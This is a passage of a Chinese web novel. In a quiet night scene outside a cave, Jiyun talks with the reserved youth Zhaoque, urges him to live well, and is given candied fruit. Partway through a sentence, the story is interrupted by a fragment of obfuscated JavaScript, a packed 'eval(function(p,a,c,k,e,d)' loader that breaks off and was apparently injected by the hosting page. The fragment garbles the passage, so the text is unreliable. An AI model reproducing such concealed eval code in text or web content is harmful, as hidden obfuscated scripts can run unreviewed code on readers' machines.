这话若是放在之前,粱远绝不会多想什么。可如今这种状况下,他只觉有把无形的剑悬在自己的头顶,稍有不慎,那剑就会立马落下。他僵硬地点头,目送两人一前一后走向洞口,冷汗不知不觉竟浸透了后背——这个看似废物的二少爷,到底还藏着多少后手?又或者说,他之前的所有表现,也全都是装出来的? 夜风卷着潮湿的土腥味灌进山洞,吹得粱远打了个寒颤。他这才发现自己的掌心已全是冰凉的汗水。 洞口的夜风带着雨后特有的清冽,既云深吸一口气,感觉混沌的头脑清醒了不少。少年已经选了个视野开阔的位置坐下,长刀横放在膝上,姿态看似放松却又随时可以暴起。 既云看了眼,心道小崽子还挺有警觉意识。也没犹豫,在离少年三步远的一块干燥位置上坐下,然后长长地舒了口气——总算是暂时甩掉那粘人的狗皮膏药了。夜风拂过,带着雨后草木的清香,将既云的头发吹得乱飘。 沉默在两人之间蔓延,既云瞥了少年一眼,忽然发现他的耳尖在月色中透出一点薄红。初春时节夜里本就比白日凉些,碰巧又是正下完雨,风吹着越发冷,既云估摸着这是给冻的。 不过他没那么多老妈子心思,何况他们俩连话都没讲过,这时候来一句“冷不冷?”显然不妥。 只是既云对这小鬼兴致正浓,这会儿又是无旁人侵扰的好时候,坐失良机的事他可不干。 “这位小兄弟,怎么这么晚还没睡?”既云随口问着,手指轻轻地拨弄着地上的碎石。 昭鹊正发着呆想事情,听见声音过了两秒才反应过来这人是在和自己讲话,这才转过头来:“刚才那人有些吵。” 他睡眠不好是从小就有的毛病,经常在睡着的时候做梦,总是睡不沉,又容易惊醒过来。阿妈也说不清他这是先天的毛病导致多梦,还是因为老做梦才害得病。 既云闻言愣了一下,随即忍不住轻笑了一声。心想说的倒确实实话。只是这样明显的事,怎么粱远那个傻大个就感觉不出来呢?还眼巴巴地往人跟前凑,也不知道脑子里哪根神经搭错了。 他兀自笑了一会儿才重新正色:“小兄弟怎么称呼?” 少年沉默了片刻,转过来看了他一眼,月光下,那两只眼睛澄澈入洗,又亮得通透:“昭鹊。” 既云听完有半晌没说话。他在心里默念了这两个字,一个光明焕彩,一个吉兆盈门,原本便都是极好的意思,合在一块儿更是珠联璧合,无有过之而不及。 用这样精心挑选的字作名字,不难感觉出那夫妻二人对这个孩子的珍视与看重。只是这般一想,既云胸口便悄然泛起了一阵莫名的苦涩。 他转头看向昭鹊的侧脸,发现对方已经转回去了,又不知盯着哪发起了呆。 夜风突然变得有些凉。既云看着月光下少年清晰的轮廓,想到接下来到达祥山族以后要经历的厮杀,又突然瞄间昭鹊腰间挂着的木牌——有了这个,就意味着他将来有可能会接到那些刀尖舔血的差事,指不定哪天出了家门,就再也回不来了。 “确是个好名字,”既云轻叹了口气,声音比平时低沉许多。他看见昭鹊转过头来,漆黑的眸子映着月光,鬼使神差地开口道:“你要好好活着。” 然而此话出口的瞬间,既云就意识到了不妥,他活了二十年,头一回体会到什么叫“恨不得咬断自己舌头”。对方不过一个十来岁的半大孩子,连人世百年的五分之一都还没过去,这话前不着村后不着店的,活像交代后事不说,还容易惹人多想。 他也不知是真的和他料想那般还是别的缘故,反正他这话说完,昭鹊确实是好半晌都没了反应。话必定是收不回来了,但既云总要为自己的过失负责。可他平日里条分缕析,这会儿却搜肠刮肚也想不出说什么才好。 可就在他进退维艰之际,余光却突然瞥见昭鹊的身影动了动,似乎是转了回去。既云抬起头,看见少年修长的手指慢慢地抚过了刀柄上的缠绳,而后自顾自点了点头。 昭鹊听完既云那话确实是一时半晌不知如何应对。方才这男人前半句夸他名字好的时候,他还想着告诉对方阿妈说这是特意找人取的。岂料这人居然有说话喘大气的坏毛病,昭鹊听他叹了口气还没来得几开口就听他又来了一句“你要好好活着。” 这话本身没什么,可偏偏听的人是昭鹊。 他一下便又想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他于是立马“嗯”了一声,生怕自己再多想一秒,就要辜负了这陌生人真心实意的关切。就是这夜风有点大,显得他声音异常地轻,也不知道男人听清了没有。 这么想着,昭鹊又赶紧伸手从怀里摸出了个油纸包展开,转头递给了既云。 他递过去的动作很干脆——既云那话虽说得突兀,但眼神里的关切做不得假。昭鹊性子冷了些,可心肠终究是软的。见人因自己一句话忐忑不安,便想着拿些甜食安抚,权当补偿。 就是这东西也不怎么稀罕,也不知道人家瞧不瞧得上。 既云看着昭鹊递来的东西怔了两秒,随即觉得胸口有些发涨。只见那上面躺着几块蜜饯,糖霜还在月光下泛着细碎的光。不是什么稀罕物什,甚至比他吃过的那些都要粗劣,可将它递来的人望着既云的眼神里却盛满了珍重,让他一时间只觉铭感五内。 “我……”既云张了张嘴,却接不出下文。他想说谢谢,却觉得太轻,想说别的,又不知说什么,最后只是小心翼翼地接过油纸包,生怕碰碎了什么似的揣进了怀里。 这世道多的是虚情假意与权衡利弊。此刻既云身后的洞里就躺了一个想要他命的,族里么,应当也没几个希望他过得好的。 偏偏今夜在这荒郊野岭之中,他却见识了这样一份纯粹的善意,如同归川的河水一般,澄澈得一眼能望到底。 果然还是个孩子啊。